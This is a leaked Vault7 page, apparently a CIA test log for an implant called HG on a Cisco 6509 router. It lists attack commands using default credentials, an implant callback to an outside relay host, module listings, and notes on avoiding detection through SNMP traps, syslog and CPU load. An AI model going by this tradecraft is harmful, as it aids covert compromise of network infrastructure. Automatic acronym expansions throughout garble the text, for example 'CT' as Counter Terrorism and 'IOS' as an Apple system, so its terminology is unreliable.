Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #71467
Cytolysis-1h Testing
HG was delivered for Cytolysis on 10/12/2015 for SUP720. Testing scope will include SMITE, ACE, Redirection and Packet Collection capabilties.
CONOP will be:
- Hop through 3 flux nodes - 1 internet, 1 osmo subnet, 1 osmo mgmt subnet - and attack mgmt VLANVirtual Local Area Network 1 ip address - 0.108 from a host that is allowed vty access via acl 2
- Establish CTCounter Terrorism session back through flux node 3
- Use ACEApplication Control Engine (Module) commands to verify state of the device
- Use socket get_arp_survey_data and packet collection to identify target hosts on VLANVirtual Local Area Network 19
- SMITE hosts on target customer network - VLANVirtual Local Area Network 19
Testing Summary
- Note in test report that module 2 is in state PwrDown and should be verified before proceeding
- FilterBroker module needs to be manually started after HG install
- SNMP trap is observed during IACInternational Access Code attack
- 5 second CPU spikes to around 40% during IACInternational Access Code attack
- Note that during IACInternational Access Code attack, router attempts to perform a PTR query for flux3 node
- Trigger packets that go through due to HG trigger sequence mis match will be caught and logged by outbound customer ACLs potentially - need to consider acls when selecting trigger packet destination and cosnider acls on upstream devices that might filter trigger packets from mgmt subnet from reaching 6500.
- Comms packets are SSLv3 - need to consider if this is noticeable on this network
Testing Notes
VMs Used
- Cytolysis-ICON-Debian8
- Cytolysis-Seeds-Ubuntu
- Cytolysis-Victim
- Cytolysis-Cust1-Host
- Cytolysis-Flux1
- Cytolysis-Flux2
- Cytolysis-Flux3
Console connections
- 6509 RP Slot 6: telnet 10.9.8.9 7013
- 6509 RP Slot 5: telnet 10.9.8.9 7014
- 4948-Osmo3 : telnet 10.9.8.9 7015
- 3750G-Cust2 : telnet 10.9.8.9 7016
- 3750-Cust1 : telnet 10.9.8.9 7017
- 3750E-Osmo : telnet 10.9.8.9 7018
Device Setup
- 6509E Chassis with the following linecards
- Slot 1 - WS-6148-GE-TX
- Slot 2 - WS-6148-GE-TX - powered down
- Slot 3 - WS-X6704-10GE
- Slot 4 - EMPTY
- Slot 5 - WS-SUP720-3B
- Slot 6 - WS-SUP720-3B
- DUT IOSApple operating system for small devices - sup-bootdisk:s72033-ipservices_wan-mz.122-33.SXI.bin
- DUT ROMRead-Only Memory - ROM: System Bootstrap, Version 12.2(17r)SX5, RELEASE SOFTWARE (fc1)
- OSPF running with Osmo-3 routers, rx equal-cost default route from two OSPFOpen Shortest Path First peers over Uplinks, along with other OSPFOpen Shortest Path First routes.
- Uplinks to Osmo-3 routers - one on 10G interface, other on 1G interface (target may actually have two 10G uplinks, however I do not have two 10G routers to link to).
- 10GB Uplink uses ISL trunk encapsulation, 1GB uplink uses dot1q (that module on 6509 does not support ISL trunking)
- Customer 2 is the target traffic, Customer 1 is just additional traffic. Customer routers replicated with 3750s.
- Customer 2 target network is NAT'd by the DUT
- Hop through three flux nodes to attack - one on Internet and two on Osmo network. Final Flux node on CONTROL network hanging off Osmo router.
- SNMP monitoring, Syslog and trap logging set up to Solarwinds
- Port mirror set up for VLANVirtual Local Area Network 3 and 47
- Config differences between Target and DUT
- ip name server 4.4.4.4 added
- power mode combined
- no power enable module 2 - not sure why their slot 2 is PwrDown without this command
- g1/48 configured as an Uplink with dot1q encap and removed from SPAN for VLANVirtual Local Area Network 3,47
- logging/snmp host statements and acl 2 changed for 10.9.8.22
- added 1.1.1.1 as ntp server and added to acl Core-Net-filter-in.
Tests
- Test 1 - Smoke Test of HG Install, CTCounter Terrorism Session Establishment and Uninstall
- Setup FLXFluxwire connection - 3 flux hops, final hop is XXX.XXX.X.XX (TOPWAY-NET[CN])
- Cytolysis set up running - snmp, logging, traps, ntp, ospf, seeds from Cust2 and Cust1
- Before IACInternational Access Code attack show mem
cytolysis-1#show mem
Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
Processor 453AF410 381979632 102106504 279873128 276188548 210810104
I/O 8000000 67108864 13940548 53168316 53130480 53116124 -
Before IACInternational Access Code attack show proc cpu
cytolysis-1#show proc cpu
CPU utilization for five seconds: 1%/0%; one minute: 1%; five minutes: 2%
PIDProcess ID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTYTeletype device Process
1 12 28 428 0.00% 0.00% 0.00% 0 Chunk Manager IAC attack proceeding:
root@debian:/home/user1/ops/cytolysis/cytolysis-1h/attack/linux# ./iac --ip XXX.XXX.X.XXX (TOPWAY-NET[CN]) --l cisco:cisco cisco
LGDHM
root@debian:/home/user1/ops/cytolysis/cytolysis-1h/attack/linux#- SNMP Trap observed during IACInternational Access Code attack
ccmHistoryEventCommandSource.4 = commandLine(1)
ccmHistoryEventConfigSource.4 = 3
ccmHistoryEventConfigDestination.4 = 2
snmpTrapOID = CISCO-CONFIG-MAN-MIB:ciscoConfigManEvent
sysUpTime = 15 minutes 56.80 seconds
experimental.1057.1.0 = XXX.XXX.X.XX (TOPWAY-NET[CN])
snmpTrapEnterprise = CISCO-CONFIG-MAN-MIB:ciscoConfigManMIBNotificationPrefix - CPU spike to 40% briefly during IACInternational Access Code attack
-
Memory after IACInternational Access Code attack:
cytolysis-1#show mem
Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
Processor 453AF410 381979632 102115968 279863664 276164004 210810104
I/O 8000000 67108864 13940548 53168316 53130480 53116124 - No syslog messages observed during IACInternational Access Code attack
- Proceeding with remote install:
Result: 0x00000001 - During install - CPU hit 11% once and 19% right at the end. Only two spikes.
- Show mem after install
cytolysis-1#show mem
Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
Processor 453AF410 381979632 104908616 277071016 276164004 208800940
I/O 8000000 67108864 13940548 53168316 53130480 53116124 No syslog or SNMPSimple Network Management Protocol trap observed during installation
- Proceeding with CTCounter Terrorism session establishment:
Had to chmod cytolysis.txt to 755 so that I could edit it. - Setup bridge on Flux for 443 for CTCounter Terrorism session callback
-
[XXX.XXX.X.XX (TOPWAY-NET[CN])]> beacon call_base_back https XXX.XXX.X.XX (TOPWAY-NET[CN]) 443 -ii XXX.XXX.X.XX (TOPWAY-NET[CN])
[Success]
Trigger Sequence Number sent: 0
************ Success ************
[beacon call_base_back https XXX.XXX.X.XX (TOPWAY-NET[CN]) 443 -ii XXX.XXX.X.XX (TOPWAY-NET[CN])][XXX.XXX.X.XX (TOPWAY-NET[CN])]>
Accepted connection from XXX.XXX.X.XX (TOPWAY-NET[CN]):11814
Attempting SSLSecure Socket Layer Handshake...
SSL Handshake Successful!
[Success]
New Key: WDHKc037O2DKUKBuGuKXtnIRlQzOLKnr7KKtVMnUewQ=
************ Success ************
[ilm listen cytolysis-1h.txt]- CT session successful sending trigger to XXX.XXX.X.XX (TOPWAY-NET[CN]), and setting impersonate to same host
- No SNMPSimple Network Management Protocol trap or syslog generated during CTCounter Terrorism session establishment
- There are no snooped entries in the web, dns or https list - expected because this delivery does not have snooping enabled.
- socket get_arp_survey_data does show the seeds hosts:
[XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data
[Success]
Vlan: 0
Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2015-10-29T20:37:32Z
XXX.XXX.X.XX (TOPWAY-NET[CN]) 00:50:56:88:3c:e4 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2015-10-29T20:37:06Z
************ Success ************
[socket get_arp_survey_data] Collected show tech with HG
- Proceeding with uninstall:
[XXX.XXX.X.XX (TOPWAY-NET[CN])]> device uninstall_hg -mp -f
Warning!!!
This command will remove all capabilities.
If installed, EVExecution Vector capabilities will be wiped, but MAY LEAVE BEHIND ARTIFACTS
Memory permissions will be reset. See Operational Use Notes for more information.
This connection will be terminated as a result of this command.Do you wish to continue?
Enter yes or no: yes[Success]
************ Success ************
[device uninstall_hg -mp -f][XXX.XXX.X.XX (TOPWAY-NET[CN])]> [Remote Failure]
************ Remote Failure ************
Connection to device lost!!>
No SNMPSimple Network Management Protocol Trap observed during unisntall, no syslog
- CPU did not spike during uninstall
- Show mem after uninstall:
cytolysis-1#show mem
Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
Processor 453AF410 381979632 102149020 279830612 273348252 210747028
I/O 8000000 67108864 13940548 53168316 53130480 53116124 Collected show tech after uninstall.
- Testing HG Module stop/start/restart
- After HG was installed and ran all weekend on the device, established a CTCounter Terrorism session to HG
- Executed module show:
[XXX.XXX.X.XX (TOPWAY-NET[CN])]> module show
[Success]
Name Version Boot Persistence State Address Path
Beachhead 11 No Running 0x47f8d2b4 default:Beachhead.mod
IV 19 No Running 0x47ad8e8c default:IV.mod
OSOperating System 26 No Running 0x47e2b5c8 default:OS.mod
Utility 16 Yes Running 0x47f92fdc default:Utility.mod
ACEApplication Control Engine (Module) 23 No Running 0x47e3593c default:ACE.mod
Beacon 21 Yes Running 0x47ee813c default:Beacon.mod
Broker 17 Yes Running 0x536edb1c default:Broker.mod
Configuration 7 Yes Running 0x47e39ab4 default:Configuration.mod
Device 34 Yes Running 0x47ef2538 default:Device.mod
DNSDomain Name System 19 No Running 0x47ef973c default:DNS.mod
EBroker 8 No Running 0x536f3284 default:EBroker.mod
HTTPSHypertext Transfer Protocol Secure 18 No Running 0x47f0aea8 default:HTTPS.mod
MiniLZO 6 Yes Running 0x47f97d1c default:MiniLZO.mod
Packet 38 Yes Running 0x47f1ed7c default:Packet.mod
Persistence 1 Yes Running 0x47f04710 default:Persistence.mod
Process 33 Yes Running 0x47f15214 default:Process.mod
RC6 7 No Running 0x47f37ff0 default:RC6.mod
RFS 2 Yes Running 0x47f2f410 default:RFS.mod
Socket 19 Yes Running 0x47f4f95c default:Socket.mod
SWINE 16 No Running 0x47f46010 default:SWINE.mod
Trigger 22 Yes Running 0x4801b4c0 default:Trigger.mod
Uninstall 5 Yes Running 0x53841c0c default:Uninstall.mod
Web 4 Yes Running 0x538434c0 default:Web.mod
Name State Version Critical
Beachhead ModuleRunning 11 Yes
IV ModuleRunning 19 Yes
OSOperating System ModuleRunning 26 Yes
Utility ModuleRunning 16 Yes
ACEApplication Control Engine (Module) ModuleRunning 23 No
Press <enter> to continueBeacon ModuleRunning 21 Yes
Broker ModuleRunning 17 Yes
Configuration ModuleRunning 7 Yes
Device ModuleRunning 34 Yes
DNSDomain Name System ModuleRunning 19 Yes
EBroker ModuleRunning 8 Yes
HTTPSHypertext Transfer Protocol Secure ModuleRunning 18 Yes
MiniLZO ModuleRunning 6 Yes
Packet ModuleRunning 38 Yes
Persistence ModuleRunning 1 No
Process ModuleRunning 33 Yes
RC6 ModuleRunning 7 Yes
RFS ModuleRunning 2 No
Socket ModuleRunning 19 Yes
SWINE ModuleRunning 16 Yes
Trigger ModuleRunning 22 No
Uninstall ModuleRunning 5 No
Web ModuleRunning 4 Yes
************ Success ************
[module show][XXX.XXX.X.XX (TOPWAY-NET[CN])]>
ACE - Start/Stop ACEApplication Control Engine (Module) module and restarted ACEMod - successful. Subsequently issued ACEApplication Control Engine (Module) commands successfully.
- FilterBroker - had to start manually, it was not started. Start/Stop FilterBroker module and restarted FilterBroker successfully.
- Attempted to stop Socket and DNSDomain Name System module however I received an error stating this was a critical module
- Started/Stopped and restarted the Trigger module
- Restarted FilterBroker module again - verified ability to run mtim status
- Restarted ACEMod again - verified ability to run ACEApplication Control Engine (Module) commands
- Ad -Hoc test - re-attack
- Started with a clean device - it had been reloaded but an IXIA test had been run on it
- Verified 3 flux hops in use
- Verified OSPFOpen Shortest Path First and logging
- IAC attacked - CPU spike during IACInternational Access Code attack - 39%
- Observed same SNMPSimple Network Management Protocol trap during IACInternational Access Code attack
- Uploaded HG - no trap or CPU issues
- Established CTCounter Terrorism session - notice very small spike during SSLSecure Socket Layer establishment - 15% in five second CPU
- When choosing a host to impersonate - chose 10.0.11.1 and it was NATd out and established back to my flx node as XXX.XXX.X.XX (TOPWAY-NET[CN]).
- Uninstalled HG with device uninstall -mp -f command
- Re-attacked with IACInternational Access Code and uploaded HG - established CTCounter Terrorism session successfully.
- Uninstalled again.
- Repeated attack again. successful
- Uninstalled again.
- Repeated attack again - successful
- All of these repeat attacks were on same RP, no failover or reload. Will test repeat attacks after failover as part of sup failover testing.
- ACE Module capability testing
- HG installed from previous test
- Establish CTCounter Terrorism session and execute ACEApplication Control Engine (Module) commands - show ver, show ip int br, show module, show arp, show mac address-table, show log, show int vlan 1, show platform hardware capacity, sh tcam counts, show run, show run int vlan 2, wr mem, clear ip nat trans * (this killed my ct session), show access-list, show vlan, show ip route, show power, show environment, show ntp a, show ip sockets, show mod power, show mod integrity, show sup-bootflash:, clear arp,
- Powered down line card in slot 2 at CLI
- No issues observed during power down of line card
- Disconnected and reconnected CTCounter Terrorism session
- Entered some incorrect commands to test boundaries - asdfhsaj, show *, show run | beg line <-cannot run this
- Attempting to run copy command "copy run sup-bootflash:" created a file called exit on the bootflash with the running config in it. Deleted this file.
- Running "copy run sup-bootflash:config" also creates a file called exit.
- Running "delete sup-bootflash:config" via ACEApplication Control Engine (Module) does not delete the file
- None of the ACEApplication Control Engine (Module) commands show in output of "show history"
- show history does not seem to show the actual history - just has an entry for "show history"
- Documentation for ACEApplication Control Engine (Module) module says that only show commands are supported - maybe commands other than show should be blocked by ilm or CT.
CMD: 'show mod ' 01:27:14 C6506 Fri Nov 6 2015
CMD: 'show mod power' 01:27:19 C6506 Fri Nov 6 2015
CMD: 'show
cytolysis-1#